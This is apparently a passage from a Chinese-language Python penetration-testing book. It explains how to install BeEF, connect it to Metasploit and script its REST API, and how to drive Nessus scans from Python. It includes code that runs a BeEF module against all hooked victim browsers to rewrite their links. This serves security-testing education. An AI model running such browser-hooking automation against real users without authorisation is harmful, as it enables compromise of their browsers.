BeEF 是用 Ruby 开发的。因此,它需要在您的系统上安装 Ruby 解释器。通常,使用 BeEF 和 Metasploit 等多个工具会有点困难,因为它们都是用 Ruby 开发的,并且使用不同版本的 Ruby。因此,最好使用Ruby 版本管理器RVM)在您的系统上管理多个 Ruby 版本。

您可以在 RVM 的官方网站上查看官方网站 rvm.io

这将有助于使事情变得更容易,您将节省大量时间。

要安装 BeEF,请使用以下命令从 GitHub 下载项目的最新版本:

$ git clone https://github.com/beefproject/beef.git beef-lastest 

然后安装 bundler:

$ sudo gem install bundler

然后安装 BeEF:

$ cd beef-lastest 
$ bundle install

要运行 BeEF,请使用以下命令:

$ ./beef

输出将如下所示:

安装 BeEF

  • 从 Web 界面管理多个受害者是低效和繁琐的。BeEF 有一个 REST API,可以帮助自动化许多任务。要访问此 API,需要一个 API 密钥,该密钥在 BeEF 启动时生成。

安装 BeEF

连接 BeEF 与 Metasploit

BeEF 可以与 Metasploit 集成,并在挂钩的受害者浏览器中运行利用和有效载荷。要使用 Metasploit 扩展,我们必须在 Metasploit 框架中使用msfrpcd实用程序启动 MSGRPC,如前所述。除此之外,我们还必须在 BeEF 中启用可用的 Metasploit 扩展,通过更改 BeEF 文件夹根目录中的主配置文件(config.yaml)中的"extension"部分来启用 Metasploit 扩展:

metasploit:
enable: false

要:

metasploit:
enable: true

主配置文件已准备好支持 Metasploit 扩展,并且 MSGRPC 服务已启动。现在,我们必须更新扩展设置以更新连接详细信息到 MSGRPC 服务器。要做到这一点,编辑 Metasploit 扩展的配置文件(extensions/metasploit/config.xml):

连接 BeEF 与 Metasploit

现在,我们可以启动 BeEF。如果连接成功,将会有一个额外的通知,指示加载的 Metasploit 利用的数量如下:

连接 BeEF 与 Metasploit

使用 Python 访问 BeEF API

BeEF 的 Rest API 几乎包含了从 Web UI 执行的自动化活动所需的一切。这个 API 并不复杂,因为只需要发送带有正确参数的 HTTP 请求。因此,可以使用 Python 使用不同的库自动化这些 HTTP 请求。

正如我们在前几章中讨论的,Python 有许多处理 HTTP 请求的库,如urlliburllib2httplibrequests。在这里,我们将使用一个简单的库,称为 BeEF-API,它是使用requests模块编写的。

我们可以从 GitHub github.com/byt3bl33d3r/BeEF-API下载 BeEF-API Python 库。要安装它,只需运行带有参数installsetup.py脚本。

然后,我们可以导入BeefAPI模块并登录到 BeEF-API:

from beefapi import BeefAPI
Beef =  BeefAPI ({})
Beef.login ( 'beef' , 'beef' )

现在,我们可以列出所有加载的模块:

for module in beef.modules: 
   print module.id, module.name

我们可以使用以下代码搜索特定字符串的模块:

for module in beef.modules.findbyname('firefox'):
   print module.id, module.name

这将打印出所有名称中包含字符串firefox的模块。

我们可以针对一个或多个挂钩浏览器运行一个模块,为此我们必须获取相应的浏览器对象,然后通过指定要针对浏览器使用的模块的标识符在其上运行该模块。每个挂钩浏览器对象都有一个名为run的方法,该方法接收表示模块标识符的数值作为参数:

for hook in  beef.hooked_browsers.online:
   commandID=  hook.run(231)['command_id']
   print  beef.modules.findbyid(231).results(hook.session, commandID)

具有标识符231的模块是替换视频模块。该模块将重写所有匹配链接的 href 属性。run方法将执行指定的模块,并以.json格式返回一个带有命令标识符(command_id)的结构,随后将用于获取模块返回的结果。

使用 Python 访问 Nessus 6 API

Nessus 是由 Tenable Network Security 开发的流行漏洞扫描器之一,它会扫描计算机,并在发现攻击者可能用来访问您连接到网络的任何计算机的漏洞时发出警报。Nessus 提供了 API 以便以编程方式访问。我们可以使用 Python 中丰富的 HTTP 请求库来进行 HTTP 请求。Tenable 创建了一个python库 nessrest (github.com/tenable/nessrest),其中使用了 Nessus 6 的requests模块。

要在我们的 Python 脚本中使用此模块,请在安装后导入它。我们可以使用pip安装nessrest模块:

$ pip install nessrest

然后,在我们的脚本中导入它:

from nessrest import ness6rest

现在我们可以初始化扫描器,因为我们正在使用自签名证书运行 Nessus,所以我们必须禁用 SSL 证书检查。为此,将另一个参数insecure=True传递给Scanner初始化程序。

scan = ness6rest.Scanner(url="https://localhost:8834", login="user", password="password", insecure=True)

要添加和启动扫描,请指定目标并运行扫描:

scan.scan_add(targets="192.168.1.107")
scan.scan_run()

我们可以使用以下代码获取扫描结果:

scan.scan_results()

提示

要了解 Nessus 6 中可用的服务,可以查看 Nessus 安装中包含的文档https://localhost:8834/nessus6-api.html。您必须启动 Nessus 实例才能查看此文档。

总结

我们已经介绍了一些可用于安全自动化的库。现在我们准备在我们的脚本中使用这些模块。这将帮助我们自动化许多安全任务。我们还可以将一个脚本或工具的结果用于另一个,从而级联工具以自动化渗透测试。

本书深入探讨了 Python 及其相关模块的基本用法,帮助读者在渗透测试方面获得深入的知识。本书的章节概括了使用 Python 进行安全测试的基本思想。读者可以借助本书中介绍的技术和资源在安全测试方面取得前所未有的成就。Python 的潜力尚未完全发挥。它在安全测试中的影响广泛,我们让读者自行探索更深入的内容。